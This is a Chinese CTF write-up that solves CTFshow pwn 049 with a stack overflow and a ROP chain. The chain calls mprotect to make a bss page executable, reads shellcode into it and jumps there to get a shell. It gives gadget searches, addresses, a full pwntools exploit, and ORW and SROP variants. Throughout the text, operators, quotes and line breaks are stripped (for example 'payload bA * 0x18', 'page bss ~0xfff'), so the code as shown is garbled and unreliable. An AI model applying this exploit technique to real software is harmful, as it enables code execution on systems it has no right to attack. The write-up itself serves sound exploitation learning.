mprotect构造ROP链:静态编译PWN题的权限修改与shellcode利用

发布时间:2026/9/9 3:03:00
mprotect构造ROP链:静态编译PWN题的权限修改与shellcode利用 CTFshow的pwn 049说句实话第一次看到checksec输出时我愣了两秒。一个十几MB的静态编译ELF摆在面前栈上明明白白有个可以溢出的buf可你翻遍整个二进制找不到一个能直接ret过去的system函数也没有动态链接的libc可以leak。那一刻你会突然意识到自己背熟的那套先leak libc再ret2libc模板在这道题面前基本报废。如果你最近也在刷CTFshow的pwn系列被静态编译题卡住过或者在pwn 049的checksec输出前对着STATIC三个字发呆那我这篇笔记就是写给你的。我会先聊为什么常规栈溢出三板斧在这里集体失灵再把mprotect这个系统调用的权限逻辑彻底讲透最后把ROP链、exp、远程调试的坑一条条摆出来。这篇不追求让你背脚本而是希望你看完能理解什么时候该想mprotectmprotect到底帮我们解决了什么问题。1. 为什么拿到pwn 049我第一反应是三板斧全废了1.1 checksec输出里最扎眼的三个字STATIC动态编译的ELF通常只有几十KB到几百KB靠程序头表里那一堆动态段和动态链接器在运行时把libc接进来。而pwn 049这种静态编译的二进制体积会膨胀到十几MB因为整个glibc都被链接进去了。checksec打出来的保护信息里除了常见的NX、Canary、PIE之外还会直接标出这是一个静态链接的二进制。静态编译带来的第一个影响是没有plt来帮你做延迟绑定。动态编译程序里你熟悉的systemplt、readplt、putsplt这排入口在静态编译下全都变了样。函数调用不再是去plt跳一遍再由got跳到libc而是所有函数地址在编译完那一刻就已经固定死在代码段里。这听上去好像更麻烦但其实也意味着二进制内部存在大量可直接用的函数地址且这些地址不会因为ASLR变化因为静态编译经常同时关闭PIE。我当时第一眼看的几个关键点Arch: amd64-64-little64位程序传参得按rdi、rsi、rdx的顺序来。Canary found还是No canary直接决定我需不需要先泄露canary。NX enabled说明栈上的shellcode不能直接执行这就是mprotect登场的核心原因。No PIE所有代码段、bss段的地址都是固定的。pwn 049在我本地的checksec结果至少前面几个条件组合起来已经明晃晃指向一件事栈溢出是有的NX是开的PIE是关的但常规的调system套路走不通。1.2 没有system、没有libc经典模板为什么集体翻车刷题多的朋友应该都有肌肉记忆栈溢出第一反应是找system和/bin/sh不行就往__libc_start_main上leak然后算libc基址。但这套模板在静态编译下到处都是裂缝。先说ret2text。ret2text的前提是程序里有一个天然可用的后门函数或者某个地址上凑巧有execve(/bin/sh)的代码。pwn 049这种题目即使你objdump -d pwn | grep system找到了一大堆字符串里的system也要区分到底是glibc内部的实际函数还是某个调试字符串。实际看过静态二进制的人都知道glibc符号表被链接进来后函数是有的但你要找一个正好能把shell弹给你的现成入口根本不现实。程序自身逻辑里如果没有后门ret2text就是空中楼阁。再说ret2libc。动态编译的题目里ret2libc之所以好用是因为libc被映射到进程地址空间而且你可以通过leak got表项去算基址。静态编译的ELF压根不依赖外部libc进程空间里就没有一个独立的libc模块让你leak。虽然glibc的函数代码被直接编入了二进制你也可以通过符号表找到它们但问题是静态编译的glibc版本往往比较老符号偏移和你本地系统的不一样没法直接套libc-database。system函数即使存在你也很难在同一二进制的数据段里找到一个现成的/bin/sh字符串因为/bin/sh同样深埋在glibc的数据区找得到还得保证地址稳定。就算以上都满足一旦题目开了seccomp沙箱system直接调execve会被沙箱拦截弹shell就变成了奢望。这就是pwn 049卡住绝大多数新手的核心矛盾溢出点明确执行流可控却没有一个现成的胜利函数给你跳。所以解题思路必须换一个角度——不去找现成函数而是去改内存权限让我们自己写的代码能跑起来。1.3 这道题真正想考验的其实是构造能力系统调用mprotect就是在这样一个背景下成为主角的。它本身不给你shell不给你flag但它能把一段内存从可读可写不可执行变成可读可写可执行。一旦某段内存变得可执行配合一个read把shellcode灌进去然后跳过去执行就等效于自己造了一个后门。静态编译在这种思路下的优势也很明显read、mprotect这些函数的地址就是写死在二进制里的不用leak不用算偏移。只要用ROP把这些函数串起来就能完成改权限—写shellcode—跳过去执行的完整链路。所以这道题表面考的是栈溢出实际考的是两件事一是你对Linux内存权限管理的理解二是你在没有现成pwn函数时能不能用ROP把多个系统调用拼出一条路。前者是原理后者是能力。2. mprotect的账本一个系统调用如何让内存从一个权限状态变成另一个2.1 权限位不是玄学是页表里的几个bit想真正会用mprotect不能只背函数签名得先知道它干活时改的是什么。Linux把虚拟内存切成4KB大小的页每个页在页表里都有一组权限位。我们平时说的NXNo-eXecute并不是一个全局开关而是页表项里某个具体bit位置1表示这个页不允许被CPU取指置0表示可以执行。你可以把一页内存想象成一片园区页表就是园区门口的保安台账。台账上记着这片园区允不允许读、允不允许写、允不允许有人进去办公。CPU访问内存之前先查台账权限不够直接拒绝。mprotect这个系统调用本质就是你去跟保安改台账把某片园区的权限记录从只读只写改成还可以办公执行。所以标题里说的权限修改技巧改的并不是内存里的字节而是页表里控制这片内存的属性位。你把bss段的一页改成rwx之后原来那些只是用来存全局变量的地址就变成了可以放shellcode并执行的地方。2.2 addr、len、prot三件套一个都不能错mprotect的函数签名长这样int mprotect(void *addr, size_t len, int prot);addr要修改权限的起始地址。这个地址必须页对齐。页大小通常是0x1000也就是说你传0x6c8000没问题传0x6c8070就会返回EINVAL。len要修改的长度内核对这个长度会做向上取整到页大小比如你传0x1000就刚好一页传0x500也会把整个页都改了。稳妥起见直接给0x1000或者更大的页大小整数倍。prot权限位组合。PROT_READ是1PROT_WRITE是2PROT_EXEC是4。要表示rwx直接把三者相加也就是7。实际利用中最经典的一组调用参数就是mprotect(0x6c8000, 0x1000, 7);这句话的意思从0x6c8000开始的一页权限改成可读可写可执行。你可能会问为什么选择bss段而不是代码段因为bss段本来就是用来存全局变量的天然可写我们只是把可执行这个属性补上去。代码段虽然可读可执行但一般不可写你没法把shellcode写到那里栈段可写可执行与否取决于NX就算可执行栈地址里有随机性远程利用不稳。所以bss段就成了最舒服的落点。2.3 为什么静态编译下mprotect是最稳的那条路我们回头对比一下动态编译和静态编译下调用mprotect的区别。动态编译的题目你也能用mprotect但你得先leak libc然后算出mprotect在libc里的地址而静态编译的二进制里mprotect的wrapper函数就躺在某个固定地址上你直接用elf.sym[mprotect]就能拿到不需要任何泄露步骤。这就像别人还在到处找钥匙你发现钥匙本身就挂在门口。第二个稳定因素是bss段地址。静态编译且关闭PIE的情况下ELF的加载基址固定不变bss段地址也就是写死的。你用elf.bss()拿到的地址在本地和远程是完全一致的。这就让mprotect改bss→read写bss→跳bss这条链路的每个环节都可预测、可复现。第三个因素是权限转换的开销。mprotect是一个系统调用比在用户态做复杂计算慢但在CTF利用场景里毫秒级的开销完全不是问题。真正要关心的不是性能而是调用会不会被沙箱拦截。后面我会讲到seccomp沙箱下mprotect是否还可用的问题。3. 完整利用链拆解从溢出点到最终shell3.1 找偏移量cyclic一秒钟给出答案动手之前先把程序跑起来看输入方式。pwn 049的漏洞函数通常是一个read或gets把用户输入读进栈上的bufbuf距离返回地址有一段固定偏移。我要先造一段cyclic(200)发进去让程序崩溃然后用gdb看崩溃时rsp或返回地址位置的值再用cyclic -l还原偏移。以我调试的版本为例崩溃时返回地址位置的值是0x6161616ccyclic -l 0x6161616c给出的偏移是0x18也就是24字节。这意味着payload布局非常清晰前24字节随便填充第25到32字节就是新的返回地址。从这一刻起执行流完全由我控制。这里有个实操细节不要一上来就在本地开ASLR调试先把setarch $(uname -m) -R ./pwn跑起来或者直接在gdb里用set disable-randomization on可以把ASLR关掉先验证ROP链逻辑对不对再去处理远程的随机化。静态编译无PIE的题目这一步可以省但好习惯还是得养成。3.2 定位关键gadgetpop rdi、pop rsi、pop rdx是刚需64位程序函数传参用的是寄存器第一个参数进rdi第二个进rsi第三个进rdx。但我们靠ROP控制的是返回地址链没法直接写寄存器所以必须借助pop系列小片段。这些小片段通常在函数末尾的ret前面那几个字节里用ROPgadget就能扫出来ROPgadget --binary ./pwn | grep pop rdi ROPgadget --binary ./pwn | grep pop rsi ROPgadget --binary ./pwn | grep pop rdx我在pwn 049里找到的一组地址大概是这种形态每个二进制可能不同务必以自己ROPgadget扫出来的为准pop rdi ; ret用来传mprotect的addr参数。pop rsi ; ret用来传len参数。pop rdx ; ret用来传prot参数。很多新手第一次做64位ROP时知道要传rdi却把rsi和rdx忘了导致mprotect的三个参数里后两个是垃圾值直接返回EINVAL。所以这一节我特意把它列成重点64位ROP不是只传第一个参数凡是函数用到的寄存器都得按顺序准备好。3.3 ROP链拼装mprotect read shellcode整条链的逻辑分三段。第一段先调用mprotect把bss页面改成rwxpop rdi ; ret bss_page # rdi bss页对齐地址 pop rsi ; ret 0x1000 # rsi 长度 pop rdx ; ret 7 # rdx PROT_READ|PROT_WRITE|PROT_EXEC mprotect_addr # 调用 mprotect执行完这段bss那一页就可以执行了。但页里现在还没内容所以第二段要调用read往bss写shellcodepop rdi ; ret 0 # rdi fd从标准输入读 pop rsi ; ret bss_page # rsi 写入地址 pop rdx ; ret 0x200 # rdx 读取长度 read_addr # 调用 read第三段最直接也是最容易被忽略的调用完read之后执行流会继续沿栈走所以紧接着放一个bss_page作为新的返回地址程序就会直接跳到bss上执行我们刚读进去的shellcode。整体payload长这样payload bA * 0x18 payload p64(pop_rdi) p64(page) payload p64(pop_rsi) p64(0x1000) payload p64(pop_rdx) p64(7) payload p64(mprotect_addr) payload p64(pop_rdi) p64(0) payload p64(pop_rsi) p64(page) payload p64(pop_rdx) p64(0x200) payload p64(read_addr) payload p64(page) # 跳到 shellcode你可能会问为什么read之后栈上紧接着放page不会出问题因为read_addr这个函数执行完ret指令会把栈顶的page弹进rip于是执行流自然跳到bss。前提是栈上的后续布局不能被read函数清理掉好在我们用的ROP链每次pop都恰好把rsp往前推进栈上是我们已经布置好的地址序列。3.4 为什么我不直接往栈上跳有的题目明明关了NX栈上可以直接执行shellcode为什么还要绕一圈mprotect改bss这话得分两层说。第一层如果题目没有开NX那我承认直接ret2shellcode更省事往栈上填shellcode、跳栈地址就行。但pwn 049是开NX的栈页根本不带执行权限直接跳栈就是非法取指程序当场段错误。第二层就算遇到一个NX关闭的变体我也更愿意把shellcode放bss而不是栈。原因很现实栈地址里含ASLR随机性尤其远程环境下你很难预知栈顶在哪而bss地址是固定的ROP链里直接写死即可。CTF利用讲究的是可复现性和稳定性既然有固定地址可用何必去赌栈地址。3.5 本地打通之后还要验证哪些事本地把exp跑通、弹出shell之后别急着庆祝。第一件事是执行cat flag或/bin/cat flag确认当前目录和文件路径。静态编译的程序不会自带flag文件题目服务端一般会在当前目录放一个flag或者/flag先试一遍才知道。第二件事是确认沙箱。有些pwn题会用seccomp限制系统调用比如只允许open、read、write不允许execve。如果你发shellcode调execve(/bin/sh)远程会直接被杀。这种情况就需要构造orwopen-read-write类shellcode而不是弹shell。判断方法是用seccomp-tools dump ./pwn查一下有没有沙箱规则。4. 别的路为什么都硌脚方案横向对比4.1 ret2file和ret2libc在这里成了有也不给你用前面说过静态编译的glibc确实包含system这个函数符号表里能查到它的地址。那能不能直接ROP去调它理论上可以但实际操作中你会撞上几个烦恼。首先是/bin/sh字符串的位置不好找你需要在二进制里搜/bin/sh就算找到了那个地址大概率位于glibc的数据区通常可读但你在栈上拼参数时一旦字符串地址或者system地址里含有\x00字节而程序用的是gets这类会截断的输入payload就直接废了。其次是栈对齐问题静态编译的glibc里某些函数内部用了movaps等要求栈对齐的指令rsp不按16字节对齐就会段错误光为这个就够调半天。那ret2libc呢静态编译里根本没有单独的libc映射你没法leak。虽然你也可以把二进制自身当成一个巨型libc来分析但里面函数版本、偏移都与题目环境强绑定分析成本远高于直接用mprotect。4.2 直接syscall构造orw可以但没必要一上来就这么干还有一种思路是不调mprotect直接在ROP链里用pop rax; pop rdi; pop rsi; pop rdx; syscall分别发起open、read、write的系统调用。这个方案在沙箱题里很常见但它对gadget的要求更高需要你同时凑齐rax、rdi、rsi、rdx四个寄存器再加上一个syscall; ret。不是每道题都能找到这么齐全的gadget组合。我的判断是如果题目没开沙箱优先mprotectshellcode因为shellcode可以写得很灵活如果题目明确开了沙箱、不允许execve那我才会去构造orw的shellcode但依然可以复用mprotect思路——先把bss改成rwx再把orw shellcode灌进去执行。mprotectread这套前置管线两边通吃。4.3 SROP是一张备用牌但牌面比mprotect复杂SROPSigreturn-Oriented Programming的思路是伪造一个sigreturn系统调用的上下文让内核帮你一次性恢复所有寄存器然后跳到任意地址执行。它最大的好处是不需要太多pop gadget有时只需要一个syscall; ret就能构造出任意系统调用。但SROP在静态编译题里有个麻烦你需要精确构造SigreturnFrame而这个frame里面有大量字段填错一个就前功尽弃。虽然pwntools提供了SigreturnFrame()但调试和定位问题的成本比mprotect高出一个量级。对我来说SROP更适合实在找不到pop rdx ; ret时的备用方案而不是第一选择。4.4 方案对比总结利用方案前置条件复杂度推荐度ret2text跳后门程序有现成后门函数低本题不适用ret2libc能leak地址、有libc中静态编译下不适用直接syscall orw需要完整gadget链高沙箱题备用SROP需要syscall; ret高备用mprotect read shellcode有pop rdi/rsi/rdx、有bss中本题最推荐从表里能看出mprotect方案在静态编译、无PIE、NX开启的场景下几乎是成本和成功率综合最优的选择。它不需要泄露地址、不依赖外部环境唯一的要求是找到三个pop gadget加两个函数地址而这些在静态编译的大二进制里遍地都是。5. exp从本地到远端踩过的坑全记录5.1 环境准备pwntools和libc版本身外之物写exp之前先把工具链捋顺。checksec确认保护python3配好pwntools如果还想打印ROP链可以装ROPgadget。静态编译的题有一个隐形好处不用像动态编译题那样下载一个特定版本的libc也不用考虑远程libc和本地libc的差异。你只和那个固定的ELF打交道调试体验干净很多。符号地址这块静态编译ELF在ELF()加载后能用elf.sym[mprotect]和elf.sym[read]直接拿到函数地址。用elf.bss()拿bss地址时要注意它返回的是bss段起始地址不一定页对齐所以构造payload前做一次page bss ~0xfff向下取整。这个操作我每次都会做算是肌肉记忆了。5.2 一份能跑通的exp逐行讲清楚from pwn import * context.arch amd64 context.log_level debug elf ELF(./pwn) # 本地调试p process(./pwn) # 远程开打p remote(ip, port) bss elf.bss() page bss ~0xfff # 页对齐通常得到类似 0x6c8000 的地址 pop_rdi 0x401b5a # 以 ROPgadget 实际输出为准 pop_rsi 0x4022c2 pop_rdx 0x4461d6 mprotect_addr elf.sym[mprotect] read_addr elf.sym[read] payload bA * 0x18 # mprotect(page, 0x1000, 7) payload p64(pop_rdi) p64(page) payload p64(pop_rsi) p64(0x1000) payload p64(pop_rdx) p64(7) payload p64(mprotect_addr) # read(0, page, 0x200) payload p64(pop_rdi) p64(0) payload p64(pop_rsi) p64(page) payload p64(pop_rdx) p64(0x200) payload p64(read_addr) # 跳到 shellcode payload p64(page) # 根据题目输入方式选择 sendline 或 send p.recvuntil(bWelcome to CTFshow pwn!) p.send(payload) # 发送 shellcode如果题目限制了第二次输入长度就保证 shellcode 小于 0x200 shellcode asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()这里有个容易被忽视的点read(0, page, 0x200)等待的是第二次输入而不是第一次。第一次send(payload)只是把ROP链注入栈溢出点之后程序执行流程走到read会停下来等我们发shellcode。如果你用sendline发第一条payload\n也会被当成数据读入可能把栈上后续布局污染掉所以第一条建议用send第二条根据目标输入函数决定用send还是sendline。另外shellcraft.sh()生成的shellcode会包含一串\x00吗不同实现不一样但read是按长度读不关心\x00所以这里没有gets那种截断问题。真正要小心的是第一次payload里的地址如果题目漏洞函数是gets而某个gadget地址含\x00就会在写入时被截断。遇到那种情况要么换一个不含\x00的gadget要么想别的办法总之路不止一条。5.3 远程连不上的三类原因我全踩过第一类是输入方式不匹配。有的题用read(0, buf, 0x100)读固定长度你发sendline时那个\n会变成payload末尾多余字节有时候会导致后续ROP链错位。有的题用gets它遇到\n或\0才停这时如果payload里静默含\x00就会提前截断。所以写exp前一定要先逆一下漏洞函数的读取逻辑再决定send还是sendline。第二类是栈对齐问题。静态编译的glibc函数尤其涉及浮点指令的那批如果入口处rsp没有对齐到16字节会在函数内部movaps指令上炸掉。我调试时遇到过一次症状是本地跑一段就SIGSEGVgdb单步看mprotect内部指令又正常后来发现是ROP链头少了条ret。在第一个pop_rdi之前多加一个ret把rsp整体推后8字节问题就解决了。遇到莫名其妙的崩溃先往payload开头塞个ret试试这是pwn圈默认的对齐疗法。第三类是远程环境flag路径不同。cat flag没有就得试cat /flag如果沙箱把execve禁了shellcode就得换成orw。这几个都是远程独有的问题本地能弹shell不代表远程一定能拿flag。5.4 gdb调试怎么确认mprotect真的改成功我调试这类题目的固定动作是先关ASLR再在mprotect函数入口下断执行后查看rax。mprotect成功会返回0返回-1说明参数有问题。如果你看到的是-1优先检查页对齐和prot是不是7。接着用vmmap查看bss段的权限正常情况下你会看到那一段的权限变成了rwxp。这个变化是整条链能否继续的关键。如果想验证shellcode执行前bss内容有没有被正确写入就在page地址上下一个硬件断点程序跳过去的一瞬间查看[addr]处的字节应该和你发的shellcode一致。调试到这一步整条链的每一环都被单独验证过了再去跑远程心里会踏实很多。6. 什么时候你会下意识想到mprotect一套快速判断模板6.1 三条判据满足两条就优先考虑它刷题刷多了我会在checksec之后快速做一次路线选择判据一程序是静态编译或者虽然动态编译但libc版本不明、泄露困难。判据二程序里没有现成的后门函数可以ret2text也没有合适的system//bin/sh组合。判据三NX开启但bss段地址固定可用且能找到完整的pop rdi/rsi/rdx。只要命中两条mprotectreadshellcode这套组合就值得优先考虑。尤其是静态编译 NX开启这个组合拳几乎就是mprotect的标准出场场景。6.2 同类题型的迁移mprotect不是只能弹shellmprotect这个思路不止适用于pwn 049。遇到seccomp只允许open/read/write的题目可以把最后的shellcode换成orw。文件读取流程就三步open(/flag, 0)拿到fdread(fd, buf, 0x100)把内容读进内存write(1, buf, 0x100)输出到终端。这类shellcode不需要弹shell所以就算沙箱禁了execve也不影响。还有一种变体是题目把代码段设成了不可写、bss段离执行流的offset太远这时候可以把mprotect的目标换成栈段虽然栈地址有随机性但可以先leak栈地址再处理。总之mprotect解决的是权限这个前置条件拿到执行权限之后你想跑什么都行。6.3 一点边界提醒mprotect不是万能的第一mprotect调用失败会返回-1最常见的失败原因是addr没页对齐。写payload时别直接拿elf.bss()的原始返回值去传参先做一次 ~0xfff。第二调用mprotect之后那段内存权限是rwx但这只影响内核页表对那一段的判定不代表栈上原来的权限也变了。你还是要通过ROP把执行流转到bss不能寄希望于改了bss之后栈也自动可执行。第三如果题目环境有更强的沙箱把mprotect或read也禁掉了那这套路就失灵了得回到纯syscall orw或者更高级的利用方式。所以做题时不要只背exp要多看几眼题目给了什么保护沙箱规则是什么。这道题我做完之后最大的体会是pwn题的乐趣不在于记住某个固定exploit模板而在于理解为什么这个工具能解决这个问题。mprotect的精髓不是那三行调用代码而是它让你意识到在系统眼里能写数据和能执行代码是两件可以独立控制的事。很多看起来无解的栈溢出卡住的都不是执行流控制而是权限边界。把权限改通后面的路自然就打开了。